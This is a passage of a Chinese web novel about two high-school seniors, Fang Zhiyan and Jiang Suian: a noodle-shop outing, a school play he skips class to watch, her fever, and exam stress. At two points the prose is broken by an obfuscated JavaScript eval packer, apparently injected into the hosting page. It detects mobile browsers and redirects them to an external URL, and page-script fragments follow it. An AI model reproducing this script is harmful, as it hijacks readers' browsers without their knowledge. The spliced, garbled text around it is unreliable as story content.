方知言小时候的老师是一位书院的老先生,外表儒雅清冷,实则冷酷严格——背不下《三字经》要挨打、叫错长辈名字要挨打、跟着大院里的孩子玩了会儿老鹰捉小鸡要挨打…… 方知言温顺隐忍的性格因素,全是靠他磨出来的。 刚上初中,老先生也主动辞职没继续干了。方父为他特意办了场谢师宴。方知言正是叛逆的时候,却被要求跪下叩首,美名其曰“一日为师,终身为父”。 他多么想逃离那场噩梦! 小方知言的手上总长着红木戒尺拍下的红,有时白天被打到手心麻木,晚上又要被抓到音乐房练琴,让他好不自在。 他的钢琴老师是来自法国的钢琴家,负责启蒙和引导,监督和考核由机构的老师负责。 那位钢琴家带给方知言的,除了乐理上的启蒙,还有对浪漫国度自由热情的向往。 方知言对西方文化的学习与接受,也都源于他中法杂交的讲述。 虽不似姐姐方知语那般聪明伶俐,但从小抓得紧,他比同龄的孩子更加懂事成熟。 那时管得不严,方知言提前入学上了一年级,因此他与姜岁安虽为同级关系,但要比她小了整整一岁。 骨子里的骄傲,让他在敬重姐姐的同时,又不愿别人提起她名字的时候是为了与自己比较,也想要把“书呆子”这个帽子给彻底摘除——可他不能改变自己,更不可能改变他人。 内心深处的矛盾和不甘,他从未与别人说过,也害怕与别人诉说,于是只能靠红榜上无限逼近700的数字聊以慰藉。 汐城一中的高三放假政策是连周双休,意思是连续上两周后放假两日。 这两日里,方知言一般周六会在重逢书店里短暂逃离家庭,周日继续在家上私教“一对一”拓展课,傍晚回校准备文一和理一独享的单科周测。 重点班的生活枯燥、乏味,甚至痛苦——至少对于方知言来说,是这样的。 但现在,这一切似乎因为一场作文比赛而悄悄改变。 经过这段时间的交往,他正式在心里将姜岁安、蒋翼铭、夏静雯三人视为朋友。 一个突然乍起的涟漪中心开出一朵活泼的小花,波澜荡过的死水都泛起了人和柴灶弄而生的烟霞。他很感谢姜岁安,真的,因为他能清楚地感知到,自己周围的一切,都开始变得与她有关。 “吁——” 那批白马长啸朝天,似乎是预感到了什么,于是在庄园的草地上奔腾。它是极其温顺优雅的白马品种,可也会发出这样的声音,让方知言不知所以,甚至有些害怕。 他叹一口气,穿上护具和衣服,视死如归朝它走去。 “驾!” …… 晨日晴空,夜半降温,空气中的尘埃被水汽携在手中,吹出雾,挤成雨,洒满了汐城秋转冬的黑夜。 方知言半夜梦到小时候老先生的戒尺,眼一睁就醒了。 他在黑暗中摸索床头柜上冰凉的硬物,拿起来开机看时间,发现短信图标上增了个红点——姜岁安发来消息,约他去吃饭,当作补习的“报酬”。 他心里浮现出一种兴奋又忐忑的情愫,纠结了一会儿后,用手指飞快地在九宫格上点击,与熬夜的少女定下了碰面的时间和地点。 ——早晨在书店碰头,午饭我带你去。 姜岁安在屏幕的另一头,似乎对自己计划的场地十分有自信,她在短信里继续补充道——没有一个吃腻山珍海味的人会拒绝小巷烟火里扑鼻的香气。 方知言倒想知道,究竟是怎样的食物,才值得她用这样绝对的话语去称赞。 …… 锦绣街道三十二号,是一家面店颇小的红烧牛肉面馆——这里是汐城老饕们最爱的面馆,隐匿在街道条条错乱的城市褶皱之中。老板和她的丈夫一年四季马不停蹄,靠着独家的手艺留住了众多回头客。 方知言随着领他的姜岁安,脚步像鱼儿似地在低洼的小水坑里左扭右摆,顿步抻首,远远望到了冒着白烟的小摊。 标配的木头小桌和红色胶凳从店内延伸到店外,却还是供不应求。 一些食客会从家里带上一把钓鱼折叠椅来坐着,有些索性站着端碗吃。 姜岁安告诉他,自己之所以能找到这样一家小馆,是因为父亲曾来此学过手艺。听罢,方知言问:“你们家是做餐饮的?” 站在门口扫视座位的姜岁安抽出一丝注意力回答他:“对,我们家开餐馆的。” 随后,她瞄准了一张客人正准备起身的桌子,拽着方知言的衣角挤了进去。 抢定位置后,姜岁安先是问了方知言有没有什么忌口,在得到了“芹菜”的答复后,她将屁股调转了一个方向,对甩着大漏勺烫面的老板大声地说:“李嬷嬷,两碗豪华版!面要手擀面!一碗不要芹菜碎!” “好嘞!”老板李嬷嬷气壮如牛的声音回荡在狭小的馆子内。 方知言饶有兴趣地打量着周围——老板丈夫左手抹布右手脸盆,麻利地收拾着前桌客人吃剩的东西,腰间别了个军绿色小布包,小布包上贴着两张收款码,跛脚穿梭在摆着汤面和配菜的木桌中。 客人们大多埋头嗦着面,他们见老板丈夫瘦小驼背的身影一来,就从口袋里翻出零钱主动塞到他的布袋子里。 因此,店里一般只有“呼呼”的吃面声和李嬷嬷的吆喝。 方知言抓住了一个问题,他问姜岁安:“不取号不记账的话,怎么确定收入呢?” 姜岁安想起什么似的,一边从自己的钱包里掏出二十元和十元的纸币,一边跟方知言解释:“夫妻二人记性顶好,谁点了什么,谁付了多少,他们都一清二楚。我反正目睹过一次‘追逐大战’,那人想吃霸王餐,要溜号的时候张伯伯大嚷了一声,李嬷嬷就直接扛着大漏勺从巷头追到巷尾……我记得张伯伯追出去劝李嬷嬷的时候还摔了一跤,现在腿脚就没以前那么灵活了……” 她滔滔不绝地讲,从面馆讲到父亲白手起家学手艺最后在汐城有一席之地的事情。 方知言这才知道,姜岁安的父亲是市中心一家有名中餐厅的主厨。 他觉得,姜岁安在古代应该是那勾栏里说书的古灵精怪的书生。 他吸了一口气,嫌弃又错愕地扫走了落在那滴油脂上的苍蝇,淡淡地说:“我好像已经闻到香味了。还有一丝……酒的味道?” “你这话说的,这味道不是一直都在吗?”姜岁安没听见他后半句的喃喃。 她歪头将视线移到出餐口,站起身来朝那方走去,游刃有余地穿过人群,端了两碗面来。 瓷碗“哒哒”两声落在油脂未干的桌上,姜岁安迅速吹了吹烫红的手,抬头对上方知言疑惑的愁容。 她解释:“这家店人手不够,经常需要顾客自己去端,所以我每次都点豪华版,一眼望去,料最多的就是自己的。” 热气腾腾的琥珀色汤头泛着一丝油亮的光泽,大块的牛肉肥瘦相间,软烂得一戳就散,白胖的面条上盖着青菜、火腿和焦香的煎蛋。 方知言的长腿卡在桌子下面,伸展不开,想趴下身嗦面却动弹不得,整个人十分别扭。 姜岁安看出了他的窘迫,出门与店外的客人交涉,几人换了位置。 “怎么样,味道还可以吧?”她坐定后问。 方知言正送了一筷子面入口,滚烫的浆汁接触舌苔后,清新的面香和醇厚的肉香交缠着漾开,他虽无法说话,但用快速点头代替了称赞。 “他们虽然做的是小本买卖,但食材是新鲜的,用料也不含糊。你看,火腿用的都是‘王中王’。” 方知言抬头看了一眼她筷子间的火腿,轻声“嗯”了一字。 方知言将碗中最后一滴汤连着葱花吞入肚中时,那阵酒香又钻进了鼻子里。 他摆头向对面望去,才发现那是一家小酒馆。桂香发酵了几个月,酒欲正浓,让人忍不住煮酒二三两,再来一盘上好的猪头肉——最后在车水马龙的十字路口各走东西。 她递了一颗青橘柠檬味的口香糖给方知言。 十字路口预示着四分之三概率的分手,他站在路边朝她挥手告别,目送她踩着滑板离开。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他就像一棵快要枯萎的向日葵一样,在黎明时忍受荒凉,祈祷明天的太阳。 而这太阳,不在天上,只静悄悄与他隔了一堵墙。当他意识到太阳存在的时候,其实早已离不开她的照耀了。 …… 某日传试卷的时候,坐在前桌的蒋翼铭冷不防对他说:“夏静雯说,这周放假的时候我们约上几个大家都比较熟的同学去聚一聚,你去吗?” 他不紧不慢地捋平卷子,收着声音问:“她没跟我说过啊。” 蒋翼铭身体已经转到前面了,头还留在那儿:“她说你……她不敢叫你,让我跟你说说。” “都有谁?”他的声音从蒋翼铭背后传来。蒋翼铭撕了一片草稿纸,写下了他目前知道会去的人,假装漫不经心地递给后面的方知言,方知言鬼鬼祟祟地倾身伸手。 “咳咳,底下搞小动作的停一停啊,不要觉得成绩好就可以在这里扰乱课堂纪律啊。”数学老师在讲台上将二人的动作尽收眼底,严肃地提醒道。 两人作案完成后,惺惺沉默着快速做着卷子。 蒋翼铭差点说漏嘴——夏静雯不敢叫方知言,是因为她觉得他像个不谙世事的小老人。 方知言做了几道选择题后,才把攒在手心里的纸团打开,除了班上几个同学的名字之外,他还看到了一个人的名字——姜岁安。 下课铃打响,数学老师慢悠悠地摇着枸杞水往课室门口走。方知言拍拍蒋翼铭的肩膀,让他代劳转告夏静雯:“我会去的。谢谢她没想着把我从作文小组里落下。” “这么肉麻的话你还是亲自跟她说吧,我可说不出口。” 方知言犹豫:“很肉麻吗?” 蒋翼铭斩钉截铁,右手发誓:“是的、无敌、非常、肉麻。” 方知言白他一眼,不再搭理。 不管蒋翼铭是否有把他的话转告给夏静雯,都在那个雪花顺遂的日子里显得无关紧要了。 那是他—— 第一次肆无忌惮地喝碳酸饮料。 第一次玩“狼人杀”还获得了胜利——即使姜岁安事后告诉他,拿“狼人”牌不睁眼是不对的,但他还是感到很开心。 第一次了解那么多人。 第一次……心动? 这算心动吗? 只是碰巧肾上腺素上来了吧——那包间里灯光晕黄、暖气充足,她朱唇皓齿、骄傲如阳…… 8. 她自雨疏风骤来(二) 姜岁安最近似乎遇到了什么麻烦——方知言如是想。 平常,他们虽然不会刻意去找对方,但在走廊上见面的次数也不算少,只是最近,他不常见她的影子。 也是经由蒋翼铭这个什么事都要掺一脚的好事者口中才得知,她在准备元旦的新年晚会。 “她表演什么?” 蒋翼铭正准备开口,但又把话收了回去,眼珠一转,上下扫了扫方知言那一副死要面子还装作毫不在意的俊脸:“你……自己问她去呗。” 方知言正要拿书赶他走,班主任就从前门走上讲台,班里瞬间安静下来。 站在讲台上的四十来岁的中年女人说:“现在是十二月中旬了,距离明年也就还有半个月不到的时间,也就是说距离期末的全省模考也还有不到一个月的时间了,”她顿了顿,点了几个在底下做题置身事外的学生的名字,继续道,“今年模考出题组里面有去年高考的出卷人,所以难度和题目风格都近似高考,也更能反映你们现在的水平,都给我好好重视起来啊。” 窸窸窣窣的声音响了一会儿,像水波纹一样,自己漾开后就归于平静。 “还有,年级今年有规定,元旦晚会的话,高三除了演职人员,其余的学生一律留在班里自习,我提前给你们打打预防针,免得到时候又给我闹什么脾气。你们也不要学二班,分不清主次,跨年年年都有,少一年又不会掉块肉。”女人说完就离开了。 方知言瞥了一眼仰面无声长啸的蒋翼铭,又想到了姜岁安步履匆匆老往艺术楼跑,想:看来遇到麻烦的不止她一个人了。 蒋翼铭突然单手拉开椅子,摘了方知言的眼镜,满脸惊异问:“哥们,一点都不惊讶吗?” 方知言在试卷上写了个D,回:“惊讶谈不上,只是有点矛盾。” “矛盾啥呀,这是我们最后一次元旦晚会,说不办就不办了?这次我得上书了,我,蒋嗣同,自横刀向天笑,去留肝胆两昆仑!” 方知言无奈摇头。 虽然没有参与,但方知言心里明白,上次能够抗争成功,很大一部分原因是因为主要矛盾并不在“是否允许参加运动会”,而在“考试密度是否合理”,于是改变考试制度才是管理层最核心的关注点,运动会只是稍带的“奖励”。 但是现在,单单一个“文艺汇演”,并不值得学生们再去大费周章地争取,也不值得管理层再一次低头允许。 可他却犯了难。 于是蒋翼铭说了他的难:“刚还跟我打听姜岁安,现在好了,一尸两命了吧。” 方知言叹了口气,蒋翼铭以为他马上就要为此妥协,于是趁热打铁:“陪哥们一起。” “我什么时候答应过你,还有,别滥用成语。” “你……行,我去找夏静雯。” 夏静雯这次却回绝了蒋翼铭,还骂他是个没脑子的。 “喂,你这人怎么这样?”他愤愤,对着夏静雯收拾得一丝不苟的桌子,对着那马尾高高绑起的女孩。 夏静雯暗暗说:“上次找李主任之后呢,我可是被姓陈的狠狠训了一顿,不想冒险了,而且,”她的嘴角扬起,翘起兰花指举过头顶,脖子灵活地左右摆动,笑着低声说,“我是演职人员哦。” 蒋翼铭说她抛妻弃子。 “我什么时候说过不抛弃你,还有,别滥用成语,谁是我的妻、谁是我的子?” 蒋翼铭意味深长地低头看了看自己撑在她桌上的手,兵败城门,悻然回府。 中午去食堂的路上,方知言遇到了姜岁安。 准确来说,是她从身后叫住了他。 姜岁安的手戳了戳他的肩膀,声音从身后传来:“方知言,元旦晚会有我主演的话剧,你会来看吗?” 方知言微微蹙眉,心想——果然,陈建材的消息永远滞后,二班貌似还不知道这件事。 见他这副心事重重的样子,姜岁安疑惑问:“这是‘好’还是‘不好’?” 方知言忘了摘眼镜,虽然不大近视,但毕竟……护眼需要防蓝光嘛,他知道,自己现在看起来应该很愚蠢,也不知道该怎么说,怕说实话伤了她的心,便嘴快过心:“我会去的。” 姜岁安的巴掌比她的话语更快印上他的身体,留下一句:“有你这句话就行了,”没走几步,她又蓦然回首,“方知言,你不戴眼镜更帅一点。” 晚修第一节课下课,姜岁安知道“禁足令”后安慰了朋友们,她说没关系,自己演完就赶快回来,绝对不辜负那一身漂亮的衣服和亮晶晶的妆容。 有人说她真是心大。 她拍拍胸脯:“豁达是天赋。” 这夜,教学楼五楼的走廊上,两个身影一高一矮,在栏杆处。 他问:“真的没关系吗?” 姜岁安无奈摊手道:“这倒也是没办法的事。不过说实话,我真挺希望大家能来的,毕竟朋友的注目比陌生的掌声更能让我感到一种……满足和骄傲?” 方知言说:“我会去的。” 姜岁安眼里星光一闪,很快又黯淡下去,只当他是在说玩笑话:“没必要。” “有必要的。” 他没听到她说了什么,只知道她在笑,随后上课铃打响,嘈杂中,他听见姜岁安说——“谢谢你”。 方知言怀着不安的心情回到座位上,再次为自己的冲动负事后责任,他又有些后悔答应姜岁安了。 方知言作为团支书,次日去交团员报名表的时候,路过排练室,里面的姜岁安没扎头发,念词的时候瞟到了他。 她那双澄澈灵动的眼睛明明藏在好多个身影后,可却那么清晰,就那样与自己对上了视线。或许是阳光从背后洒进来的原因,又或许是她的毛衣,方知言觉得,姜岁安整个人散发着桃子绒毛般的微光。 他没逗留,匆匆走了,仿若路过。 姜岁安狡猾地笑了笑,念道:“不用起誓吧,或者要是你愿意的话,就凭着你优美的自身起誓,那是我所崇拜的偶像,我一定会相信你的!” 交完表之后,他才猛然惊觉,自己还没问过她究竟演谁,于是又偷偷溜到排练室门口,将耳朵凑过去听听,怎料里边窸窸窣窣一阵,分不清谁在讲话。 然后门突然被打开,他抬头,与姜岁安对上眼。 “在等你。”方知言说。 “嗯?”姜岁安不信。 “等你路过。” “哦?是等我路过,还是为了等我,所以路过?”姜岁安一边说话,一边侧了侧身子,避免挡在门口别人过不了。 方知言被问得哑口无言,只好老实交代。 “本来是要演的,后来发现去年已经演过了,只好从莎翁那里借一借剧本,思来想去,还是演了——我演朱丽叶。老是老了点,但是朱丽叶的戏服真心好看,演罗密欧的学弟长得也很帅……” 方知言的脸有些僵。 她伸手“啪”一声关掉排练室的灯,而后熟练地把门锁上,对方知言说:“方知言,这有什么不好光明正大问的?” 他拇指摩挲着手腕,解释道:“打扰你们排练多不好。” “真的?” “真的。” “那你说一定会来,也是真的?” “真的。” “你上述所有陈词都是真的?” “真的。” “你——” “姜岁安,别再审我了。” 姜岁安若有所思点点头,只觉得他还在哄自己,虽然不知道对方出于什么立场,但突然想到,方知言是个九分善良而且十分给人面子的人。 她穿上一直拿在手里的校服外套,在纠结坐电梯和走楼梯时突然有行政处的老师冒出头,于是只好走了楼梯。 “我说,你真得让你爸跟学校说说,凭什么学生不能坐电梯?” “我爸可管不了这些事情。” “那好吧。”姜岁安下楼梯速度很快,几乎是滑下去的,像条泥鳅一样,将方知言狠狠甩在身后。 文艺汇演那晚,时间已经逼近第一节晚自习下课。 墙上的挂钟一秒一秒地走着,像是在为方知言的心跳倒数。 他的笔尖在草稿纸上“哒哒”地敲着,偶尔卸力,笔尖就蹭在纸上像拖尾流星一样划过去。不一会儿,那纸上的笔记便宛如吴冠中的《残荷》。 他似乎在预谋一件大事。 一滴汗从额头划过面颊,滴在课桌上时,他站起了身。 他轻声与在讲台上看班的陈建材说,自己肚子 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经过麦克风的声音与现实中姜岁安的声音有些不同,但他还是迅速识别了她的声线。 他努力喘息以平复自己的心率,目光穿过密密麻麻的人头看到了舞台上身着古典欧式表演礼服、戴着金色卷发假发、妆容优雅中带些可爱的姜岁安。 舞台的灯光照在她的身上,塑料宝石反射出耀眼的金光,像她熠熠的明眸。 她的台词清晰,情绪饱满。 方知言发现,姜岁安还是很有表演天赋的。 往大了说,跟文艺和语言有关的事情,她都很有天赋。 他不知道该如何追溯这一种天赋,只想着姜岁安这人总将情绪写在脸上,喜怒哀乐一见便是,因而不需要造作,就能达到他们所谓的“使相”效果。 他望着她,她却没见到他——她在心里已经认定了,他们不会来的,即使方知言信誓旦旦打了包票,但她还是觉得“逃课”不是他应该做的事情。 她不怪任何一个人,只专注地把这场戏演好。 姜岁安在舞台上的一颦一笑、喜怒哀乐都被他收在目光里,看到“罗密欧”抓起“朱丽叶”的手“私奔”的时候,他心里一阵吃了酸瓜的感觉,那是一种不敢去反复试探的味道。 随着演“亲王”的同学一声:“人间的故事,哪儿有这般的哀伤——比起朱丽叶和她的罗密欧这一双!”幕布缓缓合拢,在阵阵掌声里再被拉开时,主演们手拉着手排成一行,朝台下的观众们鞠躬。 姜岁安的眼睛一目十行,一边寻找着熟面孔一边扬起嘴角保持微笑。 方知言低头看了一眼手表,眉心一蹙,从后门离开了。 秋冬的汐城温度一直不算很低,只是海陆风经常“吃人不吐骨头”。 方知言在校园夜色里向教学楼狂奔,心里有些不安,但却被一种莫名的满足填满。 他觉得现在的自己很自由。 即使目的地是另一个牢笼,他也依旧觉得很自由。 他是个十分慎重使用“自由”这一词的人,答题的人当然要慎重对待这个词,可是现在,他觉得这个词其实很纯粹。 他不经在想:自己需要跟姜岁安说他为她逃课去看了表演吗? 可他这么做是为了什么呢? 为了她惊讶喜悦或惭愧难当的一抹笑?为了她在心里将自己与其他人划开分别?为了向她证明自己也是个反叛的信徒? 可他这么做是为了什么呢…… 这是他自己决定的事,与姜岁安无关,又与她息息相关。 方知言与第二节晚自习的看班老师打了招呼后就回位置上继续复习了。 蒋翼铭见他气息不稳,鬓角带汗,在下课之后忍不住问:“你上厕所后洗手的时候顺便洗了个头?” 方知言白他一眼。 “我闻到了你身上校园礼堂的味道。” 方知言又白了他一眼。 “方知言,你变了。你逃课了。”蒋翼铭撅嘴摇头。 “你怎么知道?”他心里一虚,脱口一出,看见蒋翼铭错愕的神色,才知道自己被诈了。 啊,真是…… 9. 她自雨疏风骤来(三) 姜岁安也有旁敲侧击问过他到底去没去。 方知言心里怕她愧疚,答案总是模棱两可,狡猾得很。 排队接水的时候,他们并排着,没有说话。 似乎答案就在热气蒸腾到镜片上一样,被冷风一吹,就拨开虚无,最后也看不见、摸不着、被遗忘。 姜岁安好心帮他把开水按键一关,不料溅起的开水滴在方知言来不及避让的手背上。 他忍着没叫出声,姜岁安也就没有道歉。 元旦很平静地过去了,像是结了冰的水,面上死气沉沉,可暗流涌动,几乎所有人都为多考些分回家过个好年而奋斗着,还要装作失去了一个元旦晚会而悲痛欲绝。 姜岁安这样实诚但嘴硬的人,嘴上说着“该拿的分还是能拿的,不该我拿的分就不要越界”,其实心里比谁都焦虑,不然也不会三番两次缠着方知言讲题。 方知言也问过她,倒不是出于嫌弃:“为什么不去问你们老师呢?” 姜岁安故作神秘地说:“你知道为什么在这样种姓制度的分班情况下,我们班的数学还能跟三班平起平坐吗?” 方知言手肘撑在窗台,放下笔,直起身来,平静道:“说说。” “我们班这数学老师吧,永远只给成绩好的好脸色,你去问问题,问简单的吧,先被阴阳怪气一波,问难的吧,他会让你洗洗睡,”姜岁安清了清嗓子,学起那老烟腔的语气,“这不是你该写的题。” 方知言尴尬地笑了笑。 “久而久之,谁还敢找他讲题?大家要么留着题回补习班找补课老师,要么像我一样找些成绩好的来解决。所以啊,能傍到你这样的老师,谁还会舍近求远去找不愉快呢。”姜岁安声音很小,恰好能让方知言听到,又不打扰其他人。 方知言说:“你利用我。” 姜岁安从口袋里摸出一颗薄荷糖塞到他手里,淡淡说:“最多算互利。” 方知言无奈笑了笑,听见预备铃响起来,便两三步回了班级。 高三上学期的期末冲刺月里,大家都没什么特别的动作,每个人都期盼着能多做对几道题。 开学初的天气潮湿而闷热,几个月过去,秋风乍起后冬风兆雪,浇得汐城樱花落、白梅开。 汐城一中的高三一线教师参与“师生同考”,老师的成绩纳入单科排名,并与年终奖金挂钩。 陈建材在联考前与文一和文二的学生们打赌,谁要是在联考里比他考得好,就在下学期开学的时候给他封一个大红包。 “老陈,请接受我们的挑战!” 姜岁安和夏静雯不谋而合,一下课在办公室门口堵住了陈建材。两个女孩在他身边一左一右,声音一高一低地对陈建材派下了战帖——因为怕他赖自己口头承诺的账。 这段时间,大大小小的联考扎堆而来,姜岁安还不小心生了场病,据说是甲流,回来的时候突然没法适应回高强度的考试安排,成绩波动有些大。 方知言安慰她:“没人能控制自己生不生病的,你何必自责。” 她郁闷地擤了擤鼻涕:“话是这样说没错,但是……算了你多穿点衣服,这是我作为一个过来人最后的忠告了。” 方知言舔了舔干了的嘴唇,觉得她整个人熟成一颗煮过的苹果,两颊烧成暧昧的红。 他皱了皱眉,淡淡开口:“你是不是又发烧了?” 姜岁安冷冰的手直探他的额头,又摸摸自己的脑袋,说:“我说怎么整天都是晕的。” “去医务室吗?” 姜岁安在他面前摆摆手:“考完晚上的试再走。” 方知言知道自己没立场劝她什么,提醒了一嘴:“别硬撑着。” 姜岁安依旧摆摆手:“我很清楚自己的身体,谢谢关心。” …… 晚上的数学考试难倒一片,就连蒋翼铭这个从来都提前二十分钟分毫不差写完的人都直呼“真有难度”。 方知言被考得有些懵,留在教室里又做了几遍最后一大题的最后一小问,实在算不出来才收拾好东西,拿着单词本准备回宿舍。 关上白炽灯打开消毒灯之后,他发现隔壁教室里昏黄的灯光亮着,姜岁安趴在桌子上沉沉睡了过去。 他戳了戳她的手。 姜岁安猛得一惊,举起双手起身对着空气说:“我交了卷了。” 方知言说:“该回去了。” 她抓了抓头发,戴上眼镜:“我本来想着卷子收上去就眯一会儿的,没想到睡过去了。” 他说她这个样子一定要去医务室的。 姜岁安胡乱收了收桌子,一出门就打了个冷颤。 两人有一步没一步地往那间散发着幽幽冷光的小房间走,姜岁安被校医一把按在冷冷的铁凳子上量体温。 方知言坐在那儿,在一堆脸熟或不熟的学生的目光下,走也不是,不走也不是,于是也拿了一根水银体温计塞进衣服里。 姜岁安突然说:“我还跟老陈打了赌的呢……” “那也是期末的事了,还有半个多月呢。” “喂,你家那么有钱,为什么不走读呢?你又高,这小破宿舍的床够你伸开腿吗?” 方知言饶有不满:“来来回回路上会耽误太多时间,学习效果不好,而且要早起不少,我没那个毅力。” 眼见着姜岁安的脑袋就要耷拉到自己身上,方知言立刻从医务室的病床上顺了个枕头卡在自己肩旁。 她问他在干嘛。 方知言清了清嗓子,义正言辞地说:“影响不好。” 姜岁安幽怨但理解地朝他的方向望去,只能看到白花花的枕头边:“喂,我现在先是病人,才是女人。” 姜岁安说方知言身上暖和,可方知言却觉得,明明是她整个人烧得跟火球一般。他默默呢喃了一句“你是女孩儿”,但显然姜岁安没听见。 “你也会害怕早起?” “在你的眼里,我到底是个怎样的人?”方知言有点生气,一是因为姜岁安讲话总是莫名其妙拐到“有钱”上面,二是姜岁安讲话又总是莫名其妙拐到“你原来也是这样”上面。 好像自己睡觉犯了天条一般。 “不知道怎么形容,总之,是和小说里的人一样,而且一般不是男主有的品质,而是女主。为人还算正直,长得有点姿色,慈悲的时候慈悲,冷漠的时候冷漠…… “还是不知道怎么形容,但是,我以前确实戴着有色眼镜看你,觉得这人的人设好没趣,除了看书就是刷题,十八岁活成八十岁的样子。现在发现,你还是有点人性的——至少没把我一个人扔在教室里睡到天亮。” 方知言不知道她到底是在夸自己,还是在抱怨自己,一时也无言以对。 他问:“我让你词不达意了吗?” “是我自己言语匮乏罢了。” 他说:“如果,我说我本来就不是这样的人呢?” 姜岁安显然有点没听清,于是又问了一遍:“你说什么?” 他说:“没什么。” 十分钟很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276480|198269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快就过去了,校医过来让姜岁安把体温计拿出来,看了两眼就说:“打个电话回家吧,最近流感严重,你不能回宿舍的。” 姜岁安有点急:“我前天才从家里回来的。” “没办法,规定就是规定,你这是复烧,不养好身体反反复复会落下病根的。我知道你们现在压力大,但是也得为自己的身体着想吧,”校医把座机的电话筒递给姜岁安,又指了指桌上的本子,“登记一下。” 把姜岁安送到校门的重任就这样被委托给了整个校医室里显得格外精神的方知言。 方知言踏出门的一瞬间才想起来自己还捎了一根体温计,于是尴尬地把它拿出来甩了甩放回酒精盒子里,搀扶着姜岁安先回班级收拾了卷子和书,随后来到门口保安室等待。 姜岁安不好意思地跟他道歉。 方知言从口袋里摸出单词本,开口:“我还要感谢你呢,”他翻了翻笔记本,望了望保安室里的钟,解释,“宿舍这个点熄灯了,也复习不了什么,刚好陪你在这里,我还能背点单词。” 姜岁安没力气翻白眼,只是评价了一句“乘人之危”,就脑袋挨着墙闭上了眼睛。 半晌,她掀开一只眼的眼皮:“你别默背呗,发出点声音让我过过耳瘾。” “确定要听?” “是的。” 方知言没再逗她。 “Embryo,e-m-b-r-y-o,胚胎、萌芽阶段、初期的;unsettle,u-n-s-e-t-t-l-e,扰乱、使不安、使心神不宁;hotly,h-o-t-l-y,激烈地、强烈地、坚决地…… “Hersmile,theembryoofallmywhat-ifs,continuestounsettlemyorderlyworld.Iarguehotlywithmyselfinsilence—aboutcourage,abouttime,abouteverything.” “方知言。” “嗯。” “没人说过你发音很好听吗?” “刚刚有人说了。” “别嘚瑟了,我收回。”姜岁安一直闭着眼睛,熊与马在自己的脑子里打得不可开交,厮杀到最后,残阳如血,红得发暖。 “覆水难收。” “叭叭”几声车鸣把两人吓了一跳,姜岁安惊醒,跳出保安室查看车牌,然后与方知言草率告别。 她说,让他多穿点衣服。 他说,早点回来。 姜岁安蜷着身体,裹紧了衣服,说:“方知言,你不说话的时候,像机器,说话的时候,太肉麻。” “还好吧。” 姜岁安打了个喷嚏,总算清醒了点,让他赶紧回去:“不送。” 方知言站在闸机面前,机器冰冷地频繁提醒着“未识别到有效教职工身份”,他心里直犯嘀咕:到底是谁送谁。 方知言借着路灯看了看手表,十二点已过,只好迎着月光往宿舍走。 被窝很冷,穿着袜子的脚不小心杵到铁栏杆,也要被冻一颤。 他想:或许自己确实也应该思考一下走读的事情了,既然早起是避免不了的,那么早半个小时和晚半个小时又有什么区别呢?在这里把被子捂成一个适宜睡眠的温度,毕竟也需要不少时间。 可想到姜岁安,这个念头就又被打消了。 无关因果,无关对错。 这是一种奇妙的直觉。 10. 她自雨疏风骤来(四) 姜岁安过了个还算舒坦的周末,毕竟一直躺在床上,睡到昏天暗地醒来看看群里有没有新发的试卷,点开来写一写,写到头晕脑胀又接着睡,睡醒接着写。 彻底好了以后,回到学校,桌子上堆了大大小小的练习册和灰色试卷白色答题卡,她一时也不知道从何开始收拾。 却说已经考试考到麻木,但真当那铃聒噪地响起时,她的心还是会在余音散去后留有忌惮。 高三上学期期末的节奏十分紧张,明明是寒冷的天,那圆锥曲线却能让人憋得面红耳赤。 联考后正式步入期末月,每个人都卯足了劲做最后的冲刺,就连班上最跳脱的同学,大概是为了过个安分的年,也都安静了许多。 何佳脚边堆着成山的模拟卷和习题册,被压在底下的已泛黄卷边,最上边的卷子上笔记还泛着黑色的油光。 她桌面上的便利贴记录着最近十几次考试的排名,进步很大,于是她便更加疯狂地把自己投入到备考之中。 对她来说,那是最能让自己安心的东西。 姜岁安的成绩本来稳定在年级十五名左右,上不去也下不来,有种一拳打在棉花上的感觉,加上缺了一个星期的课,在小测中的发挥也越来越差。 地理老师在单独讲题的时候点她:“岁安啊,最近状态不好啊,是不是因为生病的时候懈怠太久?还是文娱活动花你太多时间了,”她推了推眼镜,继续道,“但你也看出来了吧,你每次考试都是语文和英语断层给你拉高的,但高考,语文大家都会高,竞争性很低,地理这样忽上忽下的学科,对你来说才是得之而得天下。” 她素来是骄傲的人,身边中年女人的声音一点点击溃她十几年的傲气修筑的大坝,最后崩溃,洪水袭来。 姜岁安忍着,没流泪。 她不常为成绩哭的,但是现在,她竟然开始害怕和焦虑了。 这一份焦虑将地理的起伏连坐主三科和政史,就连不爱干预学生复习的陈建材,都在模拟考语文考试结束后抓她谈了谈心。 陈建材把她请到教师食堂吃饭,打了一盘子好菜,问:“你恋爱了?” 姜岁安摇头。 陈建材问:“家里父母和爷爷奶奶身体都好吧。” 姜岁安点头。 陈建材问:“跟同学闹矛盾了?” 姜岁安摇头,有些不耐烦:“您查户口呢。” 陈建材粗短的手指打了个响指:“自己调理不好自己了?” 姜岁安摇头,又点头。 陈建材说:“你以前不会这样的呀,怎么一个小小的挫折就给你打倒了,”他抿了一口没有肉的骨头汤,雾气蒙在镜片上,食堂的门帘一掀,有老师带着浩浩汤汤的学生队伍来吃饭,冷风便驱散白雾,陈建材臃肿的身体打了个冷颤,继续道,“别信什么得语文者得天下、得数学者得天下的话,我告诉你,考试,得自信者得天下、得心态者得天下。你看看你这几个星期因为内耗浪费了多少时间,然后又内耗自己浪费了时间,这不恶性循环吗?” 姜岁安沉默。 半晌,她还是开了口:“老陈,我这次没写完作文,你会怪我吗?” 